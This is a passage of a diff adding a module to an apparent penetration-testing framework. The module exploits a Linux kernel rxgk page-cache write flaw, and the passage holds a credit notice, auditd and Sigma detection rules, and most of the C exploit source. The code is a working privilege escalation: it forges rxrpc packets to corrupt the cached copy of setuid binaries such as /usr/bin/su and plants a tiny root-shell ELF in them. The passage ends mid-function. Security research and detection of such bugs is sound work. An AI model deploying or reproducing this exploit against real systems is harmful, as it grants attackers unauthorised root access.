empirically — catches pre-fix 7.0-rc kernels and any distro rebuilds
the version check misses.
[fix]: https://git.kernel.org/linus/a2567217ade970ecc458144b6be469bc015b23e5
**Before promoting to 🟢:** validate the exploit end-to-end on a 7.0-rc
kernel that pre-dates commit `a2567217ade…`. The Debian tracker entry
for CVE-2026-31635 is the source of truth for branch-backport
thresholds; extend the `kernel_range` table when distros publish
stable backports.
@@ -0,0 +1,47 @@
# NOTICE — dirtydecrypt
## Vulnerability
**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
decrypts **in place** before verifying the HMAC. When the skb fragment
pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
loopback), the in-place decrypt corrupts the page cache of a read-only
file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
primitives that abuse a missing COW boundary.
## Research credit
Discovered and reported by **Zellic** and the **V12 security** team.
Public proof-of-concept by **Luna Tong** ("cts" / "gf_256") of the
V12 security team.
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
The upstream PoC file (`poc.c`) carries no author, project, or
`LICENSE` header of its own — its header is a purely technical
description of the bug. The credit above is from the public
disclosure, not from the file. CVE-2026-31635 was assigned for the
flaw; its fix commit is not pinned in this module (see below).
## SKELETONKEY role
`skeletonkey_modules.c` is a port of the V12 PoC into the
`skeletonkey_module` interface. The exploit primitive — the
`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
token builder, the 120-byte ET_DYN ELF payload — is reproduced from
that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
sentinel probe, `--no-shell` support, and the embedded detection
rules. Research credit belongs to the people above.
## Verification status
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
The CVE-2026-31635 fix commit is not yet pinned in this module, so
`detect()` does not perform a kernel-version patched/vulnerable
verdict — see `MODULE.md`.
@@ -0,0 +1,28 @@
# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
#
# The rxgk in-place decrypt corrupts the page cache of a read-only
# file. These rules flag the syscall surface the exploit drives and
# writes to the setuid binaries it targets.
#
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
# skeletonkey --detect-rules --format=auditd | sudo tee \
# /etc/audit/rules.d/99-skeletonkey.rules
# Modification of common payload carriers / credential files
-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt
-w /bin/su -p wa -k skeletonkey-dirtydecrypt
-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt
-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt
-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt
-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt
# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
# rxrpc security keys added to the process keyring
-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
# splice() drives page-cache pages into the forged DATA packet
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice
@@ -0,0 +1,32 @@
title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
id: 7c1e9a40-skeletonkey-dirtydecrypt
status: experimental
description: |
Detects the file-modification footprint of the rxgk page-cache write
(DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
AF_RXRPC sockets followed by modification of a setuid-root binary or
a credential file.
references:
- https://github.com/v12-security/pocs/tree/main/dirtydecrypt
logsource:
product: linux
service: auditd
detection:
modification:
type: 'PATH'
name|startswith:
- '/usr/bin/su'
- '/bin/su'
- '/usr/bin/mount'
- '/usr/bin/passwd'
- '/usr/bin/chsh'
- '/etc/passwd'
- '/etc/shadow'
not_root:
auid|expression: '!= 0'
condition: modification and not_root
level: high
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2026.31635
@@ -0,0 +1,963 @@
/*
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module
*
* DirtyDecrypt / DirtyCBC (CVE-2026-31635) — missing copy-on-write guard
* in rxgk_decrypt_skb() (net/rxrpc/rxgk_common.h). rxgk_decrypt_skb()
* does skb_to_sgvec() + crypto_krb5_decrypt() with no skb_cow_data();
* the krb5enc AEAD template decrypts in-place BEFORE verifying the HMAC.
* When skb frag pages are page-cache pages (spliced in via
* MSG_SPLICE_PAGES over loopback), the in-place decrypt corrupts the
* page cache of a read-only file. Sibling of Copy Fail / Dirty Frag.
*
* This module is a faithful port of the public V12 security PoC
* (rxgk pagecache write, github.com/v12-security/pocs/dirtydecrypt,
* Luna Tong / "cts"). The exploit primitive (the sliding-window
* fire()/pagecache_write() machinery, the rxgk XDR token builder, the
* 120-byte ET_DYN ELF) is reproduced from that PoC; see NOTICE.md.
*
* Port adaptations vs. the standalone PoC:
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
* - exploit() runs the PoC body in a forked child so the PoC's
* exit()/die() paths cannot tear down the skeletonkey dispatcher
* - honours ctx->no_shell (corrupt + verify, do not spawn the shell)
* - adds an --active sentinel probe that fires the primitive against
* a disposable /tmp file instead of a setuid binary
* - the on-disk binary is never written; cleanup() evicts the page
* cache (the corruption is a page-cache-only write)
*
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
* vulnerable-kernel VM. The fix commit for CVE-2026-31635 is not yet
* pinned in this module, so detect() does not do a version-based
* patched/vulnerable verdict — see detect() and MODULE.md.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/utsname.h>
#ifdef __linux__
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
* Makefile; do not redefine here (warning: redefined). */
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#ifdef __has_include
# if __has_include(<linux/rxrpc.h>)
# include <linux/if.h>
# include <linux/rxrpc.h>
# include <linux/keyctl.h>
# else
# define DD_NEED_RXRPC_DEFS
# endif
#else
# include <linux/if.h>
# include <linux/rxrpc.h>
# include <linux/keyctl.h>
#endif
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifdef DD_NEED_RXRPC_DEFS
#define KEY_SPEC_PROCESS_KEYRING (-2)
#define RXRPC_SECURITY_KEY 1
#define RXRPC_MIN_SECURITY_LEVEL 4
#define RXRPC_SECURITY_ENCRYPT 2
#define RXRPC_USER_CALL_ID 1
struct sockaddr_rxrpc {
unsigned short srx_family;
uint16_t srx_service;
uint16_t transport_type;
uint16_t transport_len;
union {
unsigned short family;
struct sockaddr_in sin;
struct sockaddr_in6 sin6;
} transport;
};
#endif
#define RXGK_SECURITY_INDEX 6
#define ENCTYPE_AES128_CTS 17
#define AES_KEY_LEN 16
struct rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t cksum;
uint16_t serviceId;
} __attribute__((packed));
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_PACKET_TYPE_CHALLENGE 6
#define RXRPC_LAST_PACKET 0x04
/* dd_verbose gates step/status chatter; errors always print. Set per
* invocation from !ctx->json before any helper runs. */
static int dd_verbose = 1;
#define LOG(fmt, ...) do { if (dd_verbose) \
fprintf(stderr, "[*] dirtydecrypt: " fmt "\n", ##__VA_ARGS__); } while (0)
#define ERR(fmt, ...) fprintf(stderr, "[-] dirtydecrypt: " fmt "\n", ##__VA_ARGS__)
/* Candidate setuid-root targets, in preference order. */
static const char *const dd_targets[] = {
"/usr/bin/su", "/bin/su", "/usr/bin/mount",
"/usr/bin/passwd", "/usr/bin/chsh", NULL
};
/* --- helpers (faithful to the V12 PoC) --- */
static long key_add(const char *type, const char *desc,
const void *payload, size_t plen, int ringid)
{
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
}
static int write_proc(const char *path, const char *buf)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
int n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
static void setup_ns(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
if (unshare(CLONE_NEWNET) < 0) {
perror("unshare");
_exit(4);
}
} else {
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", uid);
write_proc("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1", gid);
write_proc("/proc/self/gid_map", map);
}
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s >= 0) {
struct ifreq ifr = {0};
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
}
close(s);
}
}
static void xdr_put32(uint8_t **pp, uint32_t val)
{
uint32_t nv = htonl(val);
memcpy(*pp, &nv, 4);
*pp += 4;
}
static void xdr_put64(uint8_t **pp, uint64_t val)
{
xdr_put32(pp, (uint32_t)(val >> 32));
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
}
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
{
xdr_put32(pp, (uint32_t)len);
memcpy(*pp, data, len);
*pp += len;
size_t pad = (4 - (len & 3)) & 3;
if (pad) { memset(*pp, 0, pad); *pp += pad; }
}
static int build_rxgk_token(uint8_t *out, size_t maxlen,
const uint8_t *base_key, size_t keylen)
{
uint8_t *p = out;
struct timespec ts;
clock_gettime(CLOCK_REALTIME, &ts);
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
(uint64_t)ts.tv_nsec / 100ULL;
xdr_put32(&p, 0); /* flags */
xdr_put_data(&p, "poc.test", 8); /* cell */
xdr_put32(&p, 1); /* ntoken */
uint8_t tok[512];
uint8_t *tp = tok;
xdr_put32(&tp, RXGK_SECURITY_INDEX);
xdr_put64(&tp, now); /* begintime */
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
xdr_put64(&tp, 2); /* level = ENCRYPT */
xdr_put64(&tp, 864000000000ULL); /* lifetime */
xdr_put64(&tp, 0); /* bytelife */
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
xdr_put_data(&tp, base_key, keylen); /* key */
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
xdr_put_data(&tp, ticket, sizeof(ticket));
size_t toklen = (size_t)(tp - tok);
xdr_put32(&p, (uint32_t)toklen);
memcpy(p, tok, toklen);
p += toklen;
if ((size_t)(p - out) > maxlen) return -1;
return (int)(p - out);
}
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
{
uint8_t buf[1024];
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
if (n < 0) return -1;
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
}
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
{
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (fd < 0) return -1;
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
keyname, strlen(keyname)) < 0) {
close(fd); return -1;
}
int min_level = RXRPC_SECURITY_ENCRYPT;
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
&min_level, sizeof(min_level)) < 0) {
close(fd); return -1;
}
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = 0;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(local_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
close(fd); return -1;
}
return fd;
}
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
{
char data[] = "TESTDATA";
struct sockaddr_rxrpc srx = {0};
srx.srx_family = AF_RXRPC;
srx.srx_service = service_id;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in);
srx.transport.sin.sin_family = AF_INET;
srx.transport.sin.sin_port = htons(srv_port);
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
struct msghdr msg = {0};
msg.msg_name = &srx;
msg.msg_namelen = sizeof(srx);
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf;
msg.msg_controllen = sizeof(cmsg_buf);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_RXRPC;
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
int fl = fcntl(cli_fd, F_GETFL);
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
ssize_t n = sendmsg(cli_fd, &msg, 0);
fcntl(cli_fd, F_SETFL, fl);
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
return -1;
return 0;
}
static int setup_udp_server(uint16_t port)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return -1;
struct sockaddr_in sa = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = htonl(0x7F000001),
};
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(s); return -1;
}
return s;
}
static ssize_t udp_recv(int s, void *buf, size_t cap,
struct sockaddr_in *from, int timeout_ms)
{
struct pollfd pfd = { .fd = s, .events = POLLIN };
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
socklen_t fl = from ? sizeof(*from) : 0;
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
}
static int dd_trigger_seq = 0;
/*
* Fire one splice-based page-cache corruption at the given file offset.
* Returns 1 on fire, -1 on setup error.
*/
static int fire(int target_fd, off_t splice_off, size_t splice_len,
const uint8_t *base_key, size_t keylen)
{
char keyname[32];
snprintf(keyname, sizeof(keyname), "rxgk%d", dd_trigger_seq++);
long key = add_rxgk_key(keyname, base_key, keylen);
if (key < 0) return -1;
uint16_t port_S = 10000 + (rand() % 27000) * 2;
uint16_t port_C = port_S + 1;
int ret = -1;
int udp_srv = setup_udp_server(port_S);
if (udp_srv < 0) goto out_key;
int cli = setup_rxrpc_client(port_C, keyname);
if (cli < 0) goto out_udp;
if (initiate_call(cli, port_S, 1234) < 0)
goto out_cli;
uint8_t pkt[2048];
struct sockaddr_in cli_addr;
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
uint32_t epoch = ntohl(hdr->epoch);
uint32_t cid = ntohl(hdr->cid);
uint32_t callN = ntohl(hdr->callNumber);
uint16_t svc = ntohs(hdr->serviceId);
uint16_t cport = ntohs(cli_addr.sin_port);
/* send challenge */
{
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
memset(ch, 0, sizeof(ch));
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
c->epoch = htonl(epoch);
c->cid = htonl(cid);
c->serial = htonl(0x10000);
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
c->securityIndex = RXGK_SECURITY_INDEX;
c->serviceId = htons(svc);
for (int i = 0; i < 20; i++)
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
struct sockaddr_in to = { .sin_family = AF_INET,
.sin_port = htons(cport),
.sin_addr.s_addr = htonl(0x7F000001) };
sendto(udp_srv, ch, sizeof(ch), 0,
(struct sockaddr *)&to, sizeof(to));
}
/* drain response(s) */
for (int i = 0; i < 3; i++) {
struct sockaddr_in src;
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
}
/* forge DATA packet: wire header from userspace, payload from page cache */
struct rxrpc_wire_header mal = {0};
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.serial = htonl(0x42000);
mal.type = RXRPC_PACKET_TYPE_DATA;
mal.flags = RXRPC_LAST_PACKET;
mal.securityIndex = RXGK_SECURITY_INDEX;
mal.serviceId = htons(svc);
struct sockaddr_in dst = { .sin_family = AF_INET,
.sin_port = htons(cport),
.sin_addr.s_addr = htonl(0x7F000001) };
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
goto out_cli;
int p[2];
if (pipe(p) < 0) goto out_cli;
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
if (vmsplice(p[1], &viv, 1, 0) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
loff_t off = splice_off;
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
{ close(p[0]); close(p[1]); goto out_cli; }
close(p[0]); close(p[1]);
usleep(1000);
/* drain the error from the client socket (HMAC check fails as expected) */
int fl = fcntl(cli, F_GETFL);
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
for (int i = 0; i < 2; i++) {
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
struct msghdr m = {0};
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
m.msg_iov = &iv; m.msg_iovlen = 1;
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
recvmsg(cli, &m, 0);
}
ret = 1;
out_cli:
close(cli);
out_udp:
close(udp_srv);
out_key:
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
return ret;
}
/* --- sliding-window write with progress display --- */
static void dd_progress(int done, int total, int fires)
{
if (!dd_verbose) return;
int width = 40;
int filled = total ? (done * width / total) : 0;
int pct = total ? (done * 100 / total) : 0;
fprintf(stderr, "\r [");
for (int j = 0; j < width; j++)
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
if (done == total) fputc('\n', stderr);
fflush(stderr);
}
static int pagecache_write(int rfd, void *map, off_t base,
const uint8_t *target, int len, off_t file_size,
const char *label)
{
uint8_t key[16];
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
int total = 0;
int max_off = (int)(file_size - 28);
if (base + len - 1 > max_off)
len = max_off - (int)base + 1;
/* Find first byte that differs. We must write everything from there
* onward — each round's 15-byte damage zone corrupts the next bytes. */
int start = 0;
for (int i = 0; i < len; i++) {
uint8_t cur;
pread(rfd, &cur, 1, base + i);
if (cur != target[i]) { start = i; break; }
if (i == len - 1) {
LOG("page cache already matches, skipping write");
return 0;
}
}
int need = len - start;
LOG("writing payload to %s (%d bytes from offset %d)",
label, need, (int)base + start);
dd_progress(0, need, 0);
for (int i = start; i < len; i++) {
off_t off = base + i;
uint8_t want = target[i];
uint8_t cur;
pread(rfd, &cur, 1, off);
if (cur == want && i > start)
continue;
int ok = 0;
for (int att = 0; att < 10000; att++) {
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
uint64_t r = seed;
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
memcpy(key, &r, 8);
memcpy(key + 8, &seed, 8);
size_t slen = 28;
if (off + (off_t)slen > file_size) slen = file_size - off;
if (slen < 16) slen = 16;
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
total++;
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
ok = 1;
dd_progress(i - start + 1, need, total);
break;
}
}
if (!ok) {
if (dd_verbose) fprintf(stderr, "\n");
ERR("byte %d/%d failed", i - start + 1, need);
return -1;
}
}
LOG("%d fires total", total);
return 0;
}
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
* Reproduced verbatim from the V12 PoC. */
static const uint8_t tiny_elf[] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
0xb0,0x69,0x0f,0x05, /* setuid(0) */
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, "/bin/sh" */
0x6a,0x3b,0x58, /* push 59; pop rax */
0x0f,0x05, /* execve("/bin/sh", 0, 0) */
};
/* Pick the first readable setuid-root binary from the candidate list. */
static const char *dd_pick_target(void)
{
for (int i = 0; dd_targets[i]; i++) {
struct stat sb;
if (stat(dd_targets[i], &sb) == 0 &&
(sb.st_mode & S_ISUID) && sb.st_uid == 0 &&
access(dd_targets[i], R_OK) == 0)
return dd_targets[i];
}
return NULL;
}
/* Best-effort page-cache eviction for one path. */
static void dd_evict(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd >= 0) {
#ifdef POSIX_FADV_DONTNEED
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
#endif
close(fd);
}
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
if (dc >= 0) { if (write(dc, "3\n", 2) < 0) {} close(dc); }
}
/* ---- detect ------------------------------------------------------- */
/*
* Active sentinel probe: fire the rxgk primitive against a disposable
* /tmp file and check whether the page cache was corrupted. Never
* touches a setuid binary. Returns 1 vulnerable, 0 not, -1 probe error.
*/
static int dd_active_probe(void)
{
char probe[] = "/tmp/skeletonkey-dirtydecrypt-probe-XXXXXX";
int fd = mkstemp(probe);
if (fd < 0) return -1;
uint8_t seed_buf[256];
for (int i = 0; i < (int)sizeof(seed_buf); i++) seed_buf[i] = 0xA5;
if (write(fd, seed_buf, sizeof seed_buf) != (ssize_t)sizeof seed_buf) {
close(fd); unlink(probe); return -1;
}
fsync(fd);
close(fd);
int rfd = open(probe, O_RDONLY);
if (rfd < 0) { unlink(probe); return -1; }
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
if (map == MAP_FAILED) { close(rfd); unlink(probe); return -1; }
int result = -1;
pid_t pid = fork();
if (pid == 0) {
setup_ns();
usleep(10000);
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (s < 0) _exit(2); /* AF_RXRPC unavailable */
close(s);
uint8_t key[16];
for (int att = 0; att < 64; att++) {
for (int k = 0; k < 16; k++) key[k] = rand() & 0xff;
if (fire(rfd, 16, 28, key, AES_KEY_LEN) != 1)
continue;
/* corruption hits a 16-byte block at the offset */
for (int b = 16; b < 32; b++)
if (((const uint8_t *)map)[b] != 0xA5)
_exit(0); /* vulnerable */
}
_exit(1); /* primitive did not land */
}
if (pid > 0) {
int st;
waitpid(pid, &st, 0);
if (WIFEXITED(st)) {
if (WEXITSTATUS(st) == 0) result = 1;
else if (WEXITSTATUS(st) == 1) result = 0;
else result = -1; /* AF_RXRPC unavailable / error */
}
}
munmap(map, 4096);
close(rfd);
unlink(probe);
return result;
}
/*
* CVE-2026-31635 affects kernels with the rxgk RESPONSE-handling code
* (CONFIG_RXGK). Per Debian's tracker, the vulnerable code was
* introduced in the 7.0 development cycle — older mainline branches
* (bullseye 5.10 / bookworm 6.1 / trixie 6.12) are <not-affected,
* vulnerable code not present>. The fix is upstream commit
* a2567217ade970ecc458144b6be469bc015b23e5 ("rxrpc: fix oversized
* RESPONSE authenticator length check"), shipped in Linux 7.0.
*
* The detect logic therefore is:
* - kernel < 7.0 → SKELETONKEY_OK (predates the bug)
* - kernel ≥ 7.0 → consult kernel_range; 7.0+ has the fix
* - --active → empirical override (catches pre-fix 7.0-rc kernels
* or weird distro rebuilds the version check missed)
*/
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
};
static const struct kernel_range dirtydecrypt_range = {
.patched_from = dirtydecrypt_patched_branches,
.n_patched_from = sizeof(dirtydecrypt_patched_branches) /
sizeof(dirtydecrypt_patched_branches[0]),
};
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
{
dd_verbose = !ctx->json;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves — populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] dirtydecrypt: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
if (!ctx->json)
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
"RESPONSE-handling code added in 7.0 — not applicable\n",
v->release);
return SKELETONKEY_OK;
}
/* Precondition: AF_RXRPC must be reachable for the primitive. */
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (s < 0) {
if (!ctx->json)
fprintf(stderr, "[i] dirtydecrypt: AF_RXRPC unavailable "
"(%s) — rxgk path not reachable here\n",
strerror(errno));
return SKELETONKEY_PRECOND_FAIL;
}
close(s);
if (!dd_pick_target()) {
if (!ctx->json)
fprintf(stderr, "[i] dirtydecrypt: no readable setuid-root "
"binary — exploit has no carrier here\n");
return SKELETONKEY_PRECOND_FAIL;
}
bool patched_by_version = kernel_range_is_patched(&dirtydecrypt_range, v);
if (ctx->active_probe) {
if (!ctx->json)
fprintf(stderr, "[*] dirtydecrypt: running active sentinel "
"probe (safe; /tmp only)\n");
int p = dd_active_probe();
if (p == 1) {
if (!ctx->json)
fprintf(stderr, "[!] dirtydecrypt: ACTIVE PROBE "
"CONFIRMED — rxgk in-place decrypt corrupts "
"the page cache (kernel %s)\n", v->release);
return SKELETONKEY_VULNERABLE;
}
if (p == 0) {
if (!ctx->json)
fprintf(stderr, "[+] dirtydecrypt: active probe did "
"not land — primitive blocked (likely patched%s)\n",
patched_by_version ? "" : ", or distro silently fixed");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[?] dirtydecrypt: active probe machinery "
"failed; falling back to version verdict\n");
}
if (patched_by_version) {
if (!ctx->json)
fprintf(stderr, "[+] dirtydecrypt: kernel %s is patched "
"(commit a2567217 in Linux 7.0; version-only check — "
"use --active to confirm)\n", v->release);
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[!] dirtydecrypt: kernel %s appears VULNERABLE "
"(in 7.0-rc window before commit a2567217; version-only)\n"
" Confirm empirically: skeletonkey --scan --active\n",
v->release);
return SKELETONKEY_VULNERABLE;
}
/* ---- exploit ------------------------------------------------------ */
/* Runs in a forked child: corrupt the target's page cache, then either
* exec it (shell mode) or _exit cleanly (no_shell). Never returns on
* the shell path. Exit codes: 0 ok, 2 corruption failed, 4 precond. */
static void dd_child(const char *target_path, int no_shell)
{
int rfd = open(target_path, O_RDONLY);
if (rfd < 0) { perror("open target"); _exit(2); }
struct stat sb;
if (fstat(rfd, &sb) < 0) { perror("fstat"); _exit(2); }
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
if (map == MAP_FAILED) { perror("mmap"); _exit(2); }
pid_t pid = fork();
if (pid < 0) { perror("fork"); _exit(2); }
if (pid == 0) {
setup_ns();
usleep(10000);
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(4); }
close(sock);
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf),
sb.st_size, target_path) < 0 ? 2 : 0);
}
int st;
